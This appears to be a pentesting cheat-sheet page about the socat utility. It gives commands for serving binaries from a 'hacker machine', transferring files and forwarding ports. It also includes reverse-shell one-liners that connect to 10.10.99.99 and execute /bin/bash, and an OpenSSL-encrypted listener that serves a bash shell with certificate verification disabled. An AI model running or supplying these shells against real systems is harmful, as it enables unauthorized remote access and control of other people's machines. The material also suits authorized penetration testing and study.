Skip to content

Socat

Socat is a command line based utility that establishes two bidirectional byte streams and transfers data between them.

socat binary


hacker machine

git clone https://github.com/andrew-d/static-binaries
cd static-binaries/binaries/linux/x86_64
python3 -m http.server

socat file transfer


listener with file (for one call)

socat TCP4-LISTEN:8001 file:message.txt
listener with file (for N calls)
socat TCP4-LISTEN:8001,fork file:message.txt
get file from server
socat TCP4:10.10.99.99:8001 file:receinved_message.txt,create

reverse shells


listener

socat -d -d TCP4-LISTEN:8001 STDOUT
establish connection
socat TCP4:10.10.99.99:8001 EXEC:/bin/bash

use socat to port forwarding


template

socat TCP-LISTEN:<port_that_will_be_exposed>,fork TCP:<ip>:<port> &
expose port 8080 as 80801
./socat TCP-LISTEN:8081,fork TCP:0.0.0.0:8080 &

encryption


listener

openssl req -newkey rsa:2048 -nodes -keyout some_name.key -x509 -days 362 -out some_name.crt
cat some_name.key some_name.crt > some_name.pem
socat OPENSSL-LISTEN:4444,cert=some_name.pem,verify=0,fork EXEC:/bin/bash
establish connection
socat - OPENSSL:10.10.99.99:4444,verify=0